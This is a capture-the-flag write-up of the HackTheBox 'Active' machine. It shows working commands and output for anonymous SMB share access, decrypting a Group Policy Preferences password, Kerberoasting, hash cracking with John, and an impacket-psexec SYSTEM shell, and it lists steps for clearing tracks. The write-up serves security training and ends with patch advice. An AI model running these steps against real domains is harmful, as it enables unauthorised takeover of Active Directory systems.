HackTheBox - Active (Easy)

Table of contents

Enumeration

Nmap scan

```
# Nmap 7.93 scan initiated Thu Jun  8 13:16:29 2023 as: nmap -A -p- -oN nmapResults.txt -v 10.10.10.10
0
Nmap scan report for 10.10.10.100
Host is up (0.029s latency).
Not shown: 65512 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
```

```
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-06-08 17:17:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Defau
lt-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Defau
lt-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49168/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsof
t:windows

Host script results:
| smb2-security-mode:
|   210:
|_    Message signing enabled and required
|_clock-skew: -2s
| smb2-time:
|   date: 2023-06-08T17:17:57
|_  start_date: 2023-06-08T15:05:46

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun  8 13:18:06 2023 -- 1 IP address (1 host up) scanned in 97.44 seconds
```

SMB enumeration

Let’s enumerate the SMB service. First, we can try to list available SMB shares :

```
┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Active]
└─$ smbclient -L //10.129.140.103/
Password for [WORKGROUP\kali]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
```

```
do_connect: Connection to 10.129.140.103 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

We only have access to the `Replication` share for now. Let's connect to it :

```
┌──(kali㉿kali)-[~/…/CTF/Easy/Active/loot]
└─$ smbclient //10.129.140.103/Replication
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  active.htb                          D        0  Sat Jul 21 06:37:44 2018

                5217023 blocks of size 4096. 247247 blocks available
smb: \>
```

So, we have a domain name. Let's gather all the files recursively :

```
smb: \> prompt
smb: \> recurse
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.
htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.2 KiloBytes/sec) (average 0.2 KiloByte
s/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as active.
htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.2 KiloBytes/sec) (average 0.2 KiloByte
s/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size
119 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (1.1 KiloBytes/
sec) (average 0.5 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size
2788 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (25.2 KiloByte
s/sec) (average 6.7 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Gr
oups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preference
s/Groups/Groups.xml (4.3 KiloBytes/sec) (average 6.2 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
\SecEdit\GptTmpl.inf of size 1098 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHIN
E/Microsoft/Windows NT/SecEdit/GptTmpl.inf (6.6 KiloBytes/sec) (average 6.3 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT
\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHIN
E/Microsoft/Windows NT/SecEdit/GptTmpl.inf (31.3 KiloBytes/sec) (average 9.8 KiloBytes/sec)
```

It seems that `Replication` is a replication of the `SYSVOL` SMB share. It is used to store

- GPTs (Group Policy Templates)
- Scripts
- Junction points

In `active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups`, there is a `Groups.xml` file. This file contains group policies.

Let's take a look at it :

```
┌──(kali㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA
1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-
AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/Q
S9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1"
neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

It contains a username and an encoded password :

`active.htb\SVC_TGS:edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ`

Let's decode this password :

```
┌──(kali㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

Kerberoasting

Now, we have the password for user `SVC_TGS`. According to it's account name, we could be able to use it to retrieve **service tickets** from the **Kerberos** service and perform a **kerberoasting attack**.

First, we need to add the domain to our `/etc/hosts` file :

```
┌──(kali㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ cat /etc/hosts
127.0.0.1       localhost       gitea.searcher.htb
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.140.103  active.htb
```

Then, let's try to retrieve **SPNs (Service Principal Names)** :

```
┌──(kali㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  Passwor
dLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  -------
-------------------  -------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07
-18 15:06:40.351723  2023-07-18 12:06:31.350147
```

So, we can retrieve a service ticket for the `Administrator` user account. This way, we can try to crack his password. Let's request a **service ticket** :

```
┌──(kali㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  Passwor
dLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  -------
-------------------  -------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07
-18 15:06:40.351723  2023-07-18 12:06:31.350147



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$f6f093902a777683c4f9021dbfdcbff2$65fe7
fd1975a8b34a1680dff9ed15b53d8d5c4c2a6c84fd70150653f70010ce0027e20c88d9b081c6c9f9d97f2cb953be8b9d1f0a15
8b8dde1d6aee88c5ecfc15e661651f07aef6413e551cf695177266574bf426442ff5e1d8a27d193b01c6dbb28cb35d005a35b1
6958b33497d540360eb9754949a72d81cf467c424047cd79e4361901f89e2500c3e7b78990249350aeec8da7fb3b34be0870be
fa0c7192af6768c7d9ac884e577b74eaa4390356a1746b5be3fdc2d42abf07281e6640ce599e0ddc604d5a8841dc6d7985ef5b
dc64a7f4831acd387f932707c318f6a4b0fc195cbff7928bc44b17b01e11bfa0efacafac0078adc760933b27917bb668e01f0f
c03ff86476ab11873c3cb2a64e488522a099a57cc152f1ed4914a50230433a288f0f827648e2667d30bacf09099279b45e432d
b3cf1b7e191dda1488b470a4575918ef3fc22584495baec6b52977c6a6a12ea9e2618680ab4df85702fdbac6a8613d0ecf9503
5877c9464e61c57056b117dbd3a96adad1b5e05df9b45384211b488d60fa69f4de04ee8adfe22e04ff0d2299ca95bb3f1d6b1a
2aaa9f9c0a78af0ebaaf89b3709dff039fa053223ae7c229f12cf43ed2ae8931261fb1d261b2de67b4892813a6fac9209ed84e
0361aaccf90983df82c33857ab7785e2f7d4a7667f3f512e875b8674dd61e404f6d30955b9661d2e803d77648720a373eb4ab7
57fdc934823e2cc03f9c0d5ed86733185c05428e8b9be4da355c7701fb45c99f326f02207a237e6d1227167e0c60f37de55616
2deda95cde2c68ab55d544586dba7f306216bbef6d34b13489645716bd7d9c5e4d9ca6eedd2ac7a2caea6a9db5ba2f27d03fd6
3ce803f3c01c9e51cb2bf9022f0bbba50bdb71a83f9c9055f8a16a269ac59bd7467c0fce20885c1887bb24c3b1e6f99fa05ed5
c68ef17d7e81fce4f57d8aae12e3647a51db4451d227d01bf07639cdebccc6589af134e2e9c8c0c99ae678ba83f78d9acaf020
013846d4e48515254c4cba8d393327e63b93eb1d756a9f90370ce31266774eead44cdce7a1f908540fe4bb2e97435c9840976b
03fc35f6b9a4883a331f8dbb3e32f17527da487f8673445a89c17604f6b1c2a490a7bf8dcd45f7e4040bac9ba6cb860247dd65
548235c5f6878e7cc9b71376971e591dbc89d54ed6c540e10477a8e507b28ac477852ef4682ce670d609f6486965db9c340167
2019a4508a68947c50142c6ebac617891cd74bf30
```

Now, we can save this in a file and try to crack it using John :

```
┌──(kali㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:06 DONE (2023-07-18 12:37) 0.1543g/s 1626Kp/s 1626Kc/s 1626KC/s Tiffani1432..Thrash1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now, we have the password for the `Administrator` account.

Foothold

Since RDP, WinRM or SSH are not open, we can try to use psexec to gain a shell on the system :

```
┌──(kali㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ impacket-psexec active.htb/Administrator:Ticketmaster1968@active.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
```

```
[*] Requesting shares on active.htb.....
[*] Found writable share ADMIN$
[*] Uploading file QzdvFckk.exe
[*] Opening SVCManager on active.htb.....
[*] Creating service xJmB on active.htb.....
[*] Starting service xJmB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```

We now have a shell as `NT AUTHORITY\SYSTEM`.

Clearing tracks

- Remove `QzdvFckk.exe` from the `ADMIN$` SMB share.
- Remove `xJmB` service using `sc.exe delete xJmB`

Vulnerabilities summary

Permissions misconfiguration on the Replication SMB share

Pentester evaluation

- Score : **7.5 HIGH**
- Impact : Allows an attacker to access sensitive files containing credentials which can then be used to perform other Active Directory based attacks.

Patch proposition

Configure the `Replication` SMB share to only be accessible by domain administrators.

Kerberoasting

Pentester evaluation

- Score : **9.9 CRITICAL**
- Impact : Allows an attacker to crack service tickets in order to retrieve the password for other user accounts. In this case, it is a critical vulnerability since an attacker can retrieve the `Administrator` password and gain full control over the domain controller.

Patch proposition

Use stronger passwords. You can put in place password policies to force users to use stronger passwords.

Tools used

- Nmap ← Scan open ports and services versions
- Smbclient ← Connect and interact with the SMB shares
- John ← Crack hashes
- impacket-GetUserSPNs ← Gather SPNs and retrieve service tickets
- impacket-psexec ← Gain a shell on the system

Sources

- Kerberoasting :  Kerberoasting
- Groups.xml exploitation : https://www.mindpointgroup.com/blog/privilege-escalation-via-group-policy-preferences-gpp